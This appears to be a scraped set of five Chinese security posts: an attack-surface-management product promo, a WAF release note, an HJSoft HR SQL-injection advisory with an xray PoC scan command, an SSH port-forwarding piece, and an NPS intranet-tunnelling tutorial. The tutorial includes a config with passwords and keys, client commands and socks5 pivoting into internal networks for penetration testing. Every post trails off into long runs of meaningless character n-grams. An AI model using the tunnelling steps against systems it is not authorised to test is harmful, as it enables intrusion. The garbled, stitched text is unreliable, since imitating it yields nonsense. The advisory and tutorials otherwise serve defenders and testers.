  10. #0x00 外部攻击面管理 Gartner在2021年发布的《新兴技术:外部攻击面管理关键洞察》报告中提出,EASM应该是用于发现面向外部(暴露于互联网)的可能存在漏洞的企业资产和系统的流程和技术的组合。 攻击面管理是从攻击者的角度对企业数字资产的攻击面进行检测、分析和判断,进行情报预警、响应处理和持续监控的资产安全管理方法。其最大特点是从外部攻击者的角度审视企业所有资产可利用的攻击可能性。这里的所有资产包括已知资产、未知资产、数字资产、企业品牌、泄露信息以及一系列可能被利用的资产内容。 它注重从攻击者的角度来准确识别和理解风险。 基于这一理念,各家公司纷纷推出相应的产品来抢占市场,解决客户的安全问题。 ZeroSecurity、魔方安全、FOFA、华云南、云兮、绿盟科技、摩云。 #0x01 云图诞生 面对复杂多变的安全形势,长汀还发布了云图产品,帮助解决三个核心问题: 1. 资产和攻击面探索 发现影子、未知IT资产、供应链第三方资产等,进行攻击面分析和识别,并根据资产类型和重要性进行标记管理; 2. 检测并阻止真实风险 基于大量渗透测试、攻击情报等积累的经验,从攻击者的角度梳理真实的攻击路径,找到真正能影响业务的风险,并进行优先级排序,减少无效噪声,提高运维效率; 3.持续改变认知 定期对资产和攻击面进行安全检查,通过与各类安全产品和网络设备的联动,提高风险感知和处理能力; #0x02 第一版尝鲜者 发布后,我立即申请试用。长汀的高手们也很得意,连接、激活、测试一气呵成。 界面简单明了 模块划分明确 #0x03 实际效果 签署授权后,输入我的两个IP,很快发现了漏洞 #0x04 申请试用 ``语言 扫描二维码申请试用~~ ```` 外部 部攻 攻击 击面 面管 管理 外部攻 部攻击 攻击面 击面管 面管理 外部攻击 部攻击面 攻击面管 击面管理 年发 发布 布的 年发布 发布的 年发布的 新兴 兴技 技术 新兴技 兴技术 新兴技术 理关 关键 键洞 洞察 管理关 理关键 关键洞 键洞察 面管理关 管理关键 理关键洞 关键洞察 报告 告中 中提 提出 报告中 告中提 中提出 报告中提 告中提出 应该 该是 是用 用于 于发 发现 现面 面向 向外 应该是 该是用 是用于 用于发 于发现 发现面 现面向 面向外 向外部 应该是用 该是用于 是用于发 用于发现 于发现面 发现面向 现面向外 面向外部 暴露 露于 于互 互联 联网 暴露于 露于互 于互联 互联网 暴露于互 露于互联 于互联网 的可 可能 能存 存在 在漏 漏洞 洞的 的企 企业 业资 资产 产和 和系 系统 统的 的流 流程 程和 和技 术的 的组 组合 的可能 可能存 能存在 存在漏 在漏洞 漏洞的 洞的企 的企业 企业资 业资产 资产和 产和系 和系统 系统的 统的流 的流程 流程和 程和技 和技术 技术的 术的组 的组合 的可能存 可能存在 能存在漏 存在漏洞 在漏洞的 漏洞的企 洞的企业 的企业资 企业资产 业资产和 资产和系 产和系统 和系统的 系统的流 统的流程 的流程和 流程和技 程和技术 和技术的 技术的组 术的组合 理是 是从 从攻 击者 者的 的角 角度 度对 对企 业数 数字 字资 产的 的攻 面进 进行 行检 检测 管理是 理是从 是从攻 从攻击 攻击者 击者的 者的角 的角度 角度对 度对企 对企业 企业数 业数字 数字资 字资产 资产的 产的攻 的攻击 击面进 面进行 进行检 行检测 面管理是 管理是从 理是从攻 是从攻击 从攻击者 攻击者的 击者的角 者的角度 的角度对 角度对企 度对企业 对企业数 企业数字 业数字资 数字资产 字资产的 资产的攻 产的攻击 的攻击面 攻击面进 击面进行 面进行检 进行检测 分析 析和 和判 判断 分析和 析和判 和判断 分析和判 析和判断 行情 情报 报预 预警 进行情 行情报 情报预 报预警 进行情报 行情报预 情报预警 响应 应处 处理 理和 和持 持续 续监 监控 控的 的资 产安 安全 全管 理方 方法 响应处 应处理 处理和 理和持 和持续 持续监 续监控 监控的 控的资 的资产 资产安 产安全 安全管 全管理 管理方 理方法 响应处理 应处理和 处理和持 理和持续 和持续监 持续监控 续监控的 监控的资 控的资产 的资产安 资产安全 产安全管 安全管理 全管理方 管理方法 其最 最大 大特 特点 点是 从外 度审 审视 视企 业所 所有 有资 产可 可利 利用 用的 击可 能性 其最大 最大特 大特点 特点是 点是从 是从外 从外部 角度审 度审视 审视企 视企业 企业所 业所有 所有资 有资产 资产可 产可利 可利用 利用的 用的攻 攻击可 击可能 可能性 其最大特 最大特点 大特点是 特点是从 点是从外 是从外部 从外部攻 部攻击者 的角度审 角度审视 度审视企 审视企业 视企业所 企业所有 业所有资 所有资产 有资产可 资产可利 产可利用 可利用的 利用的攻 用的攻击 的攻击可 攻击可能 击可能性 这里 里的 的所 产包 包括 括已 已知 知资 这里的 里的所 的所有 资产包 产包括 包括已 括已知 已知资 知资产 这里的所 里的所有 的所有资 有资产包 资产包括 产包括已 包括已知 括已知资 已知资产 未知 未知资 未知资产 业品 品牌 企业品 业品牌 企业品牌 泄露 露信 信息 息以 以及 及一 一系 系列 列可 能被 被利 产内 内容 泄露信 露信息 信息以 息以及 以及一 及一系 一系列 系列可 列可能 可能被 能被利 被利用 用的资 资产内 产内容 泄露信息 露信息以 信息以及 息以及一 以及一系 及一系列 一系列可 系列可能 列可能被 可能被利 能被利用 被利用的 利用的资 用的资产 的资产内 资产内容 它注 注重 重从 度来 来准 准确 确识 识别 别和 和理 理解 解风 风险 它注重 注重从 重从攻 角度来 度来准 来准确 准确识 确识别 识别和 别和理 和理解 理解风 解风险 它注重从 注重从攻 重从攻击 的角度来 角度来准 度来准确 来准确识 准确识别 确识别和 识别和理 别和理解 和理解风 理解风险 基于 于这 这一 一理 理念 基于这 于这一 这一理 一理念 基于这一 于这一理 这一理念 各家 家公 公司 司纷 纷纷 纷推 推出 出相 相应 应的 的产 产品 品来 来抢 抢占 占市 市场 各家公 家公司 公司纷 司纷纷 纷纷推 纷推出 推出相 出相应
  11. 雷驰社区版自4月14日开放以来,共发布28个版本,Github Star 2900+,累计安装量:14000+次,每天处理HTTP请求超过100亿次,获得了社区的广泛认可。 有需要(感兴趣)WAF的兄弟可以访问以下链接自行获取(有GitHub账号的同学希望伸手点击star) 首页:https://waf-ce.chaitin.cn/ Github:https://github.com/chaitin/safeline **雷驰社区版1.0** 基于**智能语义分析算法**的集成Web攻击检测能力。 **雷驰社区版2.0** 集成基于人机验证、IP智能、动态限频的**智能反Bot**能力。 **雷驰社区版3.0** **今日正式发布,集成基于流量的API自动识别能力**。未来一段时间,3.X系列将继续围绕API识别和保护进行深度优化。 ###关于雷驰的API保护能力 雷驰利用动态基线和预测分析技术分析异常访问行为,**构建流量画像,准确识别运行正常但请求异常的攻击行为**,即从正常行为中检测出异常流量。 此外,用户还可以根据需要选择集群或单个网关节点的流量控制,并配置API流量阈值,例如:每秒、每分钟、每小时的请求数限制。当流量超过阈值时,新的请求将被网关拦截,以保证业务正常运行。 随着频次访问控制、报警策略等功能的逐步迭代,雷驰业务场景的解决方案日趋成熟,很快将满足更具体的业务需求,例如更细粒度的流量控制策略、更丰富的报表统计维度、更精准的API调用明细等。 #### 动态基线技术 雷驰采用周期性基线分析的方法。周期性基线,通常是单周期数据库轮廓,是根据历史数据计算的。该曲线由若干个数据轮廓点组成,每个轮廓点代表一个采样时间点。如果新的实测值没有超出基线范围,则通过加权平均算法更新旧的轮廓值。如果新的实测值超出基线范围,则将其丢弃,不参与新轮廓值的计算。在这样的往复循环中,基线总是动态变化的。 #### 预测分析技术 雷驰采用基于时间窗置信区间的检测模型和方法,保证实际运行中不断自我调整和逼近,自动剔除历史时间窗内的异常历史数据,实现历史时间窗数据与网络实际正常流量行为特征的高度一致,从而提高异常行为报警的准确性。 最后,感谢您一直以来的支持,欢迎您尝试。 雷驰 驰社 社区 区版 版自 雷驰社 驰社区 社区版 区版自 雷驰社区 驰社区版 社区版自 日开 开放 放以 以来 日开放 开放以 放以来 日开放以 开放以来 共发 发布 共发布 个版 版本 个版本 累计 计安 安装 装量 累计安 计安装 安装量 累计安装 计安装量 每天 天处 处理 每天处 天处理 每天处理 请求 求超 超过 请求超 求超过 请求超过 亿次 获得 得了 了社 区的 的广 广泛 泛认 认可 获得了 得了社 了社区 社区的 区的广 的广泛 广泛认 泛认可 获得了社 得了社区 了社区的 社区的广 区的广泛 的广泛认 广泛认可 有需 需要 有需要 感兴 兴趣 感兴趣 的兄 兄弟 弟可 可以 以访 访问 问以 以下 下链 链接 接自 自行 行获 获取 的兄弟 兄弟可 弟可以 可以访 以访问 访问以 问以下 以下链 下链接 链接自 接自行 自行获 行获取 的兄弟可 兄弟可以 弟可以访 可以访问 以访问以 访问以下 问以下链 以下链接 下链接自 链接自行 接自行获 自行获取 账号 号的 的同 同学 学希 希望 望伸 伸手 手点 点击 账号的 号的同 的同学 同学希 学希望 希望伸 望伸手 伸手点 手点击 账号的同 号的同学 的同学希 同学希望 学希望伸 希望伸手 望伸手点 伸手点击 首页 基于 智能 能语 语义 义分 分析 析算 算法 智能语 能语义 语义分 义分析 分析算 析算法 智能语义 能语义分 语义分析 义分析算 分析算法 的集 集成 的集成 攻击 击检 检测 测能 能力 攻击检 击检测 检测能 测能力 攻击检测 击检测能 检测能力 成基 于人 人机 机验 验证 集成基 成基于 基于人 于人机 人机验 机验证 集成基于 成基于人 基于人机 于人机验 人机验证 动态 态限 限频 频的 动态限 态限频 限频的 动态限频 态限频的 能反 智能反 今日 日正 正式 式发 今日正 日正式 正式发 式发布 今日正式 日正式发 正式发布 于流 流量 量的 基于流 于流量 流量的 成基于流 基于流量 于流量的 自动 动识 识别 别能 自动识 动识别 识别能 别能力 自动识别 动识别能 识别能力 未来 来一 一段 段时 时间 未来一 来一段 一段时 段时间 未来一段 来一段时 一段时间 系列 列将 将继 继续 续围 围绕 系列将 列将继 将继续 继续围 续围绕 系列将继 列将继续 将继续围 继续围绕 别和 和保 保护 护进 进行 行深 深度 度优 优化 识别和 别和保 和保护 保护进 护进行 进行深 行深度 深度优 度优化 识别和保 别和保护 和保护进 保护进行 护进行深 进行深度 行深度优 深度优化 关于 于雷 驰的 关于雷 于雷驰 雷驰的 关于雷驰 于雷驰的 护能 保护能 护能力 保护能力 驰利 利用 用动 态基 基线 线和 和预 预测 测分 析技 技术 术分 析异 异常 常访 问行 行为 雷驰利 驰利用 利用动 用动态 动态基 态基线 基线和 线和预 和预测 预测分 测分析 分析技 析技术 技术分 术分析 分析异 析异常 异常访 常访问 访问行 问行为 雷驰利用 驰利用动 利用动态 用动态基 动态基线 态基线和 基线和预 线和预测 和预测分 预测分析 测分析技 分析技术 析技术分 技术分析 术分析异 分析异常 析异常访 异常访问 常访问行 访问行为 构建 建流 量画 画像 构建流 建流量 流量画 量画像 构建流量 建流量画 流量画像 准确 确识 别运 运行 行正 正常 常但 但请 求异 常的 的攻 击行 准确识 确识别 识别运 别运行 运行正 行正常 正常但 常但请 但请求 请求异 求异常 异常的 常的攻 的攻击 攻击行 击行为 准确识别 确识别运 识别运行 别运行正 运行正常 行正常但 正常但请 常但请求 但请求异 请求异常 求异常的 异常的攻 常的攻击 的攻击行 攻击行为 即从 从正 常行 为中 中检 测出 出异 常流 即从正 从正常 正常行 常行为 行为中 为中检 中检测 检测出 测出异 出异常 异常流 常流量 即从正常 从正常行 正常行为 常行为中 行为中检 为中检测 中检测出 检测出异 测出异常 出异常流 异常流量 此外 用户 户还 还可 以根 根据 据需 要选 选择 择集 集群 群或 或单 单个 个网 网关 关节 节点 点的 的流 量控 控制 用户还 户还可 还可以 可以根 以根据 根据需 据需要 需要选 要选择 选择集 择集群 集群或 群或单 或单个 单个网 个网关 网关节 关节点 节点的 点的流 的流量 流量控 量控制 用户还可 户还可以 还可以根 可以根据 以根据需 根据需要 据需要选 需要选择 要选择集 选择集群
  12. 漏洞详情:【宏景HR系统SQL注入漏洞】(https://stack.chaitin.com/vuldb/detail?id=d9dbe920-46b9-47eb-91b2-a10892a250ea) 宏景人力资源管理系统是宏景软件开发的系统。主要功能包括人事、组织架构、档案、合同、工资、保险、绩效、考勤、招聘、培训、干部任免、人事流程等管理,以及人事、绩效、培训、招聘、考勤等自助业务。它还具有报表功能和灵活的表单工具,支持群体控制、目标管理、领导决策等应用。 长汀应急团队检测到CNVD平台发布公告称北京宏景世纪软件有限公司人力资源信息管理系统存在SQL注入漏洞(CNVD-2023-08743),目前供应商已发布安全公告及相关补丁信息修复该漏洞。 对漏洞进行分析后发现,公网中还存在很多未修复的漏洞。根据该漏洞原理,长汀应急小组编写了X-RAY远程检测工具和本地检测工具供大家下载使用。同时,本文还提供了对资产进行故障排除的方法。 **远程检测工具**: 复制链接:https://stack.chaitin.com/tool/detail?id=1 前往xray - CT Stack 安全社区下载最新版本的xray。 执行:/xray ws --poc poc-yaml-hjsoft-hcm-codesettree-serlvet-categories-sqli --url http://example.com 进行扫描。 ## 漏洞描述 由于系统没有正确处理用户输入,导致系统存在SQL注入漏洞。攻击者可以利用此漏洞获取敏感数据库信息。 对于攻击者来说,利用该漏洞不需要身份验证和认证。他们可以利用该漏洞获取系统数据和用户数据并登录后端。 ## 影响范围 最新版本之前的所有版本 ## 资产检查 body_string='div class=\'hj-hy-all-one-logo\'' ## 解决方案 安装官方安全补丁 ## 产品支持 云图:默认支持本产品的指纹识别,也支持该漏洞的PoC原理检测。 雷驰:已经发布了虚拟补丁来支持该漏洞的检测。 完整信息:已发布升级包,支持检测该漏洞的利用情况。 洞察:已发布自定义POC 来支持此漏洞检测。 ## 参考链接 [http://www.hjsoft.com.cn/](http://www.hjsoft.com.cn/) 漏洞 洞详 详情 漏洞详 洞详情 漏洞详情 宏景 系统 注入 入漏 注入漏 入漏洞 注入漏洞 景人 人力 力资 资源 源管 管理 理系 统是 是宏 景软 软件 件开 开发 发的 的系 宏景人 景人力 人力资 力资源 资源管 源管理 管理系 理系统 系统是 统是宏 是宏景 宏景软 景软件 软件开 件开发 开发的 发的系 的系统 宏景人力 景人力资 人力资源 力资源管 资源管理 源管理系 管理系统 理系统是 系统是宏 统是宏景 是宏景软 宏景软件 景软件开 软件开发 件开发的 开发的系 发的系统 主要 要功 功能 能包 包括 括人 人事 主要功 要功能 功能包 能包括 包括人 括人事 主要功能 要功能包 功能包括 能包括人 包括人事 组织 织架 架构 组织架 织架构 组织架构 档案 合同 工资 保险 绩效 考勤 招聘 培训 干部 部任 任免 干部任 部任免 干部任免 事流 流程 程等 等管 人事流 事流程 流程等 程等管 等管理 人事流程 事流程等 流程等管 程等管理 以及 及人 以及人 及人事 以及人事 勤等 等自 自助 助业 业务 考勤等 勤等自 等自助 自助业 助业务 考勤等自 勤等自助 等自助业 自助业务 它还 还具 具有 有报 报表 表功 能和 和灵 灵活 活的 的表 表单 单工 工具 它还具 还具有 具有报 有报表 报表功 表功能 功能和 能和灵 和灵活 灵活的 活的表 的表单 表单工 单工具 它还具有 还具有报 具有报表 有报表功 报表功能 表功能和 功能和灵 能和灵活 和灵活的 灵活的表 活的表单 的表单工 表单工具 支持 持群 群体 体控 控制 支持群 持群体 群体控 体控制 支持群体 持群体控 群体控制 目标 标管 目标管 标管理 目标管理 领导 导决 决策 策等 等应 应用 领导决 导决策 决策等 策等应 等应用 领导决策 导决策等 决策等应 策等应用 长汀 汀应 应急 急团 团队 队检 检测 测到 长汀应 汀应急 应急团 急团队 团队检 队检测 检测到 长汀应急 汀应急团 应急团队 急团队检 团队检测 队检测到 平台 台发 发布 布公 公告 告称 称北 北京 京宏 景世 世纪 纪软 件有 有限 限公 公司 司人 源信 信息 息管 统存 存在 平台发 台发布 发布公 布公告 公告称 告称北 称北京 北京宏 京宏景 宏景世 景世纪 世纪软 纪软件 软件有 件有限 有限公 限公司 公司人 司人力 资源信 源信息 信息管 息管理 系统存 统存在 平台发布 台发布公 发布公告 布公告称 公告称北 告称北京 称北京宏 北京宏景 京宏景世 宏景世纪 景世纪软 世纪软件 纪软件有 软件有限 件有限公 有限公司 限公司人 公司人力 司人力资 力资源信 资源信息 源信息管 信息管理 息管理系 理系统存 系统存在 目前 前供 供应 应商 商已 已发 布安 安全 全公 告及 及相 相关 关补 补丁 丁信 息修 修复 复该 该漏 目前供 前供应 供应商 应商已 商已发 已发布 发布安 布安全 安全公 全公告 公告及 告及相 及相关 相关补 关补丁 补丁信 丁信息 信息修 息修复 修复该 复该漏 该漏洞 目前供应 前供应商 供应商已 应商已发 商已发布 已发布安 发布安全 布安全公 安全公告 全公告及 公告及相 告及相关 及相关补 相关补丁 关补丁信 补丁信息 丁信息修 信息修复 息修复该 修复该漏 复该漏洞 对漏 洞进 进行 行分 分析 析后 后发 发现 对漏洞 漏洞进 洞进行 进行分 行分析 分析后 析后发 后发现 对漏洞进 漏洞进行 洞进行分 进行分析 行分析后 分析后发 析后发现 公网 网中 中还 还存 在很 很多 多未 未修 复的 的漏 公网中 网中还 中还存 还存在 存在很 在很多 很多未 多未修 未修复 修复的 复的漏 的漏洞 公网中还 网中还存 中还存在 还存在很 存在很多 在很多未 很多未修 多未修复 未修复的 修复的漏 复的漏洞 根据 据该 洞原 原理 根据该 据该漏 漏洞原 洞原理 根据该漏 据该漏洞 该漏洞原 漏洞原理 急小 小组 组编 编写 写了 应急小 急小组 小组编 组编写 编写了 汀应急小 应急小组 急小组编 小组编写 组编写了 远程 程检 测工 具和 和本 本地 地检 具供 供大 大家 家下 下载 载使 使用 远程检 程检测 检测工 测工具 工具和 具和本 和本地 本地检 地检测 工具供 具供大 供大家 大家下 家下载 下载使 载使用 远程检测 程检测工 检测工具 测工具和 工具和本 具和本地 和本地检 本地检测 地检测工 测工具供 工具供大 具供大家 供大家下 大家下载 家下载使 下载使用 同时 本文 文还 还提 提供 供了 了对 对资 资产
  13. 在我们日常的主机管理中,我们通常会通过SSH登录Linux进行远程管理。但在某些场景下,SSH往往无法直接连接,这给远程管理带来很多不便,例如:\r \r - 服务器有防火墙限制,SSH端口无法直连\r - 服务器处于内网环境,没有可供连接的公网IP\r \r ### 传统解决方案\r 传统的解决方案是使用公网服务器并使用端口转发来解决此类问题。借助公网服务器,将内网服务器的SSH端口映射到公网服务器即可访问。 \r \r 您可以使用SSH命令实现本地端口转发和远程端口转发。可以参考以下命令。 \r \r - 远程转发(将远程端口映射到本地主机)\r \r ```bash\r ssh -R src_port:dst_ip:dst_port 服务器\r ````\r \r - 本地转发(将本地端口映射到远程主机)\r \r ```bash\r ssh -L src_port:dst_ip:dst_port 服务器\r ````\r \r 然而,这个解决方案仍然有**缺陷**:\r \r 1.需要依赖公网服务器提供代理服务\r 2、每次使用前需要登录目标服务器并转发端口(我就是因为无法登录才需要转发.)\r \r \r ### 推荐的解决方案\r 推荐的方法是使用基于代理反向连接的**牧云主机管理助手**,登录百川云平台([https://rivers.chaitin.cn/](https://rivers.chaitin.cn/)),在工作台上免费激活牧云主机管理助手即可直接使用\r \r **安装一次,永久使用**\r \r \r \r 终端用起来很有趣\r \r 在我 我们 们日 日常 常的 的主 主机 机管 管理 理中 在我们 我们日 们日常 日常的 常的主 的主机 主机管 机管理 管理中 在我们日 我们日常 们日常的 日常的主 常的主机 的主机管 主机管理 机管理中 们通 通常 常会 会通 通过 我们通 们通常 通常会 常会通 会通过 我们通常 们通常会 通常会通 常会通过 登录 进行 行远 远程 程管 进行远 行远程 远程管 程管理 进行远程 行远程管 远程管理 但在 在某 某些 些场 场景 景下 但在某 在某些 某些场 些场景 场景下 但在某些 在某些场 某些场景 些场景下 往往 往无 无法 法直 直接 接连 连接 往往无 往无法 无法直 法直接 直接连 接连接 往往无法 往无法直 无法直接 法直接连 直接连接 这给 给远 理带 带来 来很 很多 多不 不便 这给远 给远程 管理带 理带来 带来很 来很多 很多不 多不便 这给远程 给远程管 程管理带 管理带来 理带来很 带来很多 来很多不 很多不便 例如 服务 务器 器有 有防 防火 火墙 墙限 限制 服务器 务器有 器有防 有防火 防火墙 火墙限 墙限制 服务器有 务器有防 器有防火 有防火墙 防火墙限 火墙限制 端口 口无 直连 端口无 口无法 法直连 端口无法 口无法直 无法直连 器处 处于 于内 内网 网环 环境 务器处 器处于 处于内 于内网 内网环 网环境 服务器处 务器处于 器处于内 处于内网 于内网环 内网环境 没有 有可 可供 供连 接的 的公 公网 没有可 有可供 可供连 供连接 连接的 接的公 的公网 没有可供 有可供连 可供连接 供连接的 连接的公 接的公网 传统 统解 解决 决方 方案 传统解 统解决 解决方 决方案 传统解决 统解决方 解决方案 统的 的解 案是 是使 使用 用公 网服 器并 并使 用端 口转 转发 发来 来解 决此 此类 类问 问题 传统的 统的解 的解决 方案是 案是使 是使用 使用公 用公网 公网服 网服务 务器并 器并使 并使用 使用端 用端口 端口转 口转发 转发来 发来解 来解决 解决此 决此类 此类问 类问题 传统的解 统的解决 的解决方 决方案是 方案是使 案是使用 是使用公 使用公网 用公网服 公网服务 网服务器 服务器并 务器并使 器并使用 并使用端 使用端口 用端口转 端口转发 口转发来 转发来解 发来解决 来解决此 解决此类 决此类问 此类问题 借助 助公 借助公 助公网 借助公网 助公网服 将内 器的 将内网 内网服 务器的 将内网服 内网服务 服务器的 口映 映射 射到 到公 器即 即可 可访 访问 端口映 口映射 映射到 射到公 到公网 务器即 器即可 即可访 可访问 端口映射 口映射到 映射到公 射到公网 到公网服 服务器即 务器即可 器即可访 即可访问 您可 可以 以使 您可以 可以使 以使用 您可以使 可以使用 命令 令实 实现 现本 本地 地端 发和 和远 程端 命令实 令实现 实现本 现本地 本地端 地端口 转发和 发和远 和远程 远程端 程端口 命令实现 令实现本 实现本地 现本地端 本地端口 地端口转 口转发和 转发和远 发和远程 和远程端 远程端口 程端口转 以参 参考 考以 以下 下命 可以参 以参考 参考以 考以下 以下命 下命令 可以参考 以参考以 参考以下 考以下命 以下命令 程转 远程转 程转发 远程转发 将远 到本 地主 将远程 射到本 到本地 本地主 地主机 将远程端 程端口映 映射到本 射到本地 到本地主 本地主机 地转 本地转 地转发 本地转发 将本 到远 程主 将本地 射到远 到远程 远程主 程主机 将本地端 地端口映 映射到远 射到远程 到远程主 远程主机 然而 这个 个解 案仍 仍然 然有 这个解 个解决 方案仍 案仍然 仍然有 这个解决 个解决方 决方案仍 方案仍然 案仍然有 缺陷 需要 要依 依赖 赖公 器提 提供 供代 代理 理服 需要依 要依赖 依赖公 赖公网 务器提 器提供 提供代 供代理 代理服 理服务 需要依赖 要依赖公 依赖公网 赖公网服 服务器提 务器提供 器提供代 提供代理 供代理服 代理服务 每次 次使 用前 前需 要登 录目 目标 标服 并转 发端 每次使 次使用 使用前 用前需 前需要 需要登 要登录 登录目 录目标 目标服 标服务 器并转 并转发 转发端 发端口 每次使用 次使用前 使用前需 用前需要 前需要登 需要登录 要登录目 登录目标 录目标服 目标服务 标服务器 务器并转 器并转发 并转发端 转发端口 我就 就是 是因 因为 为无 法登 录才 才需 要转 我就是 就是因 是因为 因为无 为无法 无法登 法登录 登录才 录才需 才需要 需要转 要转发 我就是因 就是因为 是因为无
  14. NPS工具简介NPS工具是一款用Go语言编写的轻量级、功能强大的内网渗透工具。支持TCP、UDP流量转发,支持内网HTTP、SOCKS5代理,支持snappy压缩(节省带宽和流量)、站点保护、加密传输、复用、修改报头等,还支持Web图形化管理。这个工具很容易使用。与FRP相比,NPS具有图形界面,因此配置更简单。 [root@ls4jtubcnt opt]#wget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz [root@ls4jtubcnt opt]# mkdir nps[root@ls4jtubcnt opt]# tar -zxf linux_amd64_server.tar.gz -C nps/[root@ls4jtubcnt opt]# cd nps/[root@ls4jtubcnt nps]# ./nps install #执行安装命令[root@ls4jtubcnt nps]# ./nps start #启动NPS,nps start|stop|restart|uninstall|reload[root@ls4jtubcnt nps]# cd /etc/nps/conf/#安装后配置文件位于/etc/nps/conf 目录下的nps.confg 配置文件: appname=weblogger#启动模式(dev|pro)#指定运行模式(dev|pro)runmode=dev #HTTP(S)代理端口,为空则不启动# http[s]代理,如果设置为空则表示忽略#http_proxy_ip=#http_proxy_port=#https_proxy_port=#https_just_proxy=#default https证书设置#表示https默认证书文件位置https_default_cert_file=conf/server.pemhttps_default_key_file=conf/server.key ##bridge#客户端与服务器之间使用的通信协议,端口与服务器绑定ipbridge_type=tcpbridge_port=8024bridge_ip=0.0.0.0 # 公共密码,客户端可以使用该密码连接服务器# 连接后,服务器将能够根据自己的配置文件打开相关端口并解析相关域名。 #客户端以配置文件模式启动时的key,设置为空则关闭客户端配置文件连接模式public_vkey=Pksfy2312df70i5osc #流量数据持久化间隔(分钟)#忽略表示不持久化#服务器流量数据持久化间隔,单位为分钟,忽略表示不持久化flow_store_interval=3 # 日志级别LevelEmergency-0 LevelAlert-1 LevelCritical-2 LevelError-3 LevelWarning-4 LevelNotice-5 LevelInformational-6 LevelDebug-7#输出运行日志,如下,写入当前目录下的weblogger.log 文件,7 代表调试模式log_level=7log_path=weblogger.log #生成的日志文件路径为:/weblogger.log #是否限制IP访问,true或false或忽略#是否限制IP访问,true或false或忽略#ip_limit=true #p2p#p2p_ip=127.0.0.1#p2p_port=6000 #web# Web控制面板配置,包括域名、访问端口和登录账号密码。需要使用反向代理配置域名访问web_host=login.weblogger.comweb_username=backlionweb_password=bks.net@#125web_port=8081web_ip=0.0.0.0web_base_url=web_open_ssl=falseweb_cert_file=conf/server.pemweb_key_file=conf/server.key# 如果代理下的web 使用子路径。像http://host/nps 需要这个。#web_base_url=/nps #Web API未认证的IP地址(auth_crypt_key的len必须为16)#如果需要请去掉注释# auth_key为Web api密钥,auth_crypt_key代表获取服务器authKey时的aes加密密钥,16位#auth_key=ATi39sdp2dauth_crypt_key=AmSo173adsPEWRSZ #allow_ports=9001-9009,10001,11000-12000#为了防止nps服务器端口滥用,可以限制可以打开的端口。如果忽略或留空,则表示该端口不受限制。 #Web管理多用户登录#是否支持多用户登录,该功能默认关闭,一般不会使用。 allow_user_login=falseallow_user_register=falseallow_user_change_username=false #扩展#其他杂项,比如流量限制、带宽限制、客户端隧道数限制、最大连接数等.默认忽略即可allow_flow_limit=falseallow_rate_limit=falseallow_tunnel_num_limit=falseallow_local_proxy=falseallow_connection_num_limit=falseallow_multi_ip=false#nps服务器支持在网页上显示和统计服务器相关信息,但有些统计图表被关闭默认。您可以通过此选项打开system_info_display=true。 #cache# http缓存设置,保持默认http_cache=falsehttp_cache_length=100 #获取原点iphttp_add_origin_header=false #pprof 调试选项#pprof_ip=0.0.0.0#pprof_port=9999 #client disconnect timeoutdisconnect_timeout=60 服务器启动后,首先会监听两个端口,一个是web面板访问端口【这里是8081】,另一个是nps客户端与服务器之间的通信端口【这里是9099】[root@ls4jtubcnt conf]# netstat -tulnp access: http://vps ip:8081/,并输入上面/etc/nps/conf/nps.confg配置文件中设置的用户名和密码。下面是登录成功后整个nps web控制面板的实际效果图。由于当前没有客户端在线,所以全部显示为 客户端,新建一个客户端链接(注意,这里的用户名和密码只有使用socks5和http代理时才会用到) 下面是客户端创建成功后的样子。特别注意这个id。后续的所有隧道代理和socks5代理都将基于此id创建。 在客户端执行命令:/npc -server=106.13.218.47:8024 -vkey=yxznk7q02rirabtz -type=tcp 发现客户端已上线,说明已与服务器连接 tcp隧道 适用范围:SSH、远程桌面、数据库等TCP连接场景 假设场景:我想访问公网服务器1.1.1.1的2022端口,连接内网机器192.168.126.128:的22端口,实现SSH连接。 使用步骤 在刚刚创建的客户端隧道管理中添加一条tcp隧道,填写监听端口(2022)、内网目标IP和目标端口(192.168.126.128:22),保存 访问公网服务器IP(1.1.1.1),填写监听端口(2022),相当于访问内网IP (192.168.126.128) : 目标端口(22) udp隧道 适用范围:内网DNS解析等UDP连接场景 假设场景:内网有一个DNS(10.1.50.102:53)。如果要在非内网环境下使用此DNS,公网服务器为1.1.1.1 使用步骤 在刚刚创建的客户端的隧道管理中添加一条UDP隧道,填写监听端口(53)、内网目标IP和目标端口(10.1.50.102:53),保存。将需要的DNS地址修改为1.1.1.1,相当于使用10.1.50.102作为DNS服务器 socks5代理 适用范围:像使用VPN一样访问内网设备或外网环境中的资源 假设场景:我想使用公网服务器1.1.1.1的3538端口作为socks5代理,达到访问内网任意设备或资源的效果 使用步骤 在刚刚创建的客户端隧道管理中添加socks5代理,填写监听端口(3538),保存。在外网环境本地配置socks5代理(例如使用proxifier进行全局代理)。 ip为公网服务器ip(1.1.1.1),端口为填写的监听端口(3438)。您可以享受内网并添加代理服务器。 点击菜单栏的Proxy Servers图标-添加,这里添加socks代理,填写socks服务器的IP和端口【一定要记住,这里的代理是有账号和密码的,就是我们开始创建客户端配置时设置的账号和密码】 单击代理规则图标— 添加。这里,如果访问192.168.126.*目标内网网段,该IP网段将使用socks5代理。 检查我们添加的代理规则。默认代理规则是Direct!记住 这样我们就可以像在本地一样直接访问目标内网的机器并启动burp进行渗透测试了。 或者使用SocksCap64进行全局代理socks5 注意,通过socks5代理,当接收到socks5数据包时,socket已经处于accept状态。表现为连接建立后不久扫描端口全部打开又关闭。如果想要和内网一样的性能,建议远程连接设备。 http 转发代理 适用范围:在外网环境下使用http正向代理访问内网站点 假设场景:我想使用公网服务器1.1.1.1的9999端口作为http代理访问内网网站 使用步骤 在刚刚创建的客户端隧道管理中添加http代理,填写监听端口(9999),保存。 在外网环境下在本机配置http代理。 ip为公网服务器ip(1.1.1.1),port为填写的监听端口(9999)。您可以访问 注意:对于私有代理和p2p,除了客户端和服务器统一配置外,还需要客户端作为访问端,提供访问的端口。 私人代理 适用范围:不需要占用额外端口且安全性要求较高的TCP服务,可防止他人连接,例如ssh。 假设场景:无需添加额外端口即可访问内网服务器10.1.50.2的22端口 使用步骤 在刚刚创建的客户端上添加私有代理,并在需要连接SSH执行命令的机器上设置唯一密钥secretest和内网目标10.1.50.2:22 /npc -server=1.1.1.1:8024 -vkey=vkey -type=tcp -password=secretest -local_type=secret 如果需要指定本地端口,可以添加参数-local_port=xx,默认2000 注:密码为Web管理中添加的唯一密钥。具体命令请查看Web管理上的命令提示符。 假设10.1.50.2用户名为root。现在执行ssh -p 2000 [email protected] 即可访问ssh。 p2p 服务 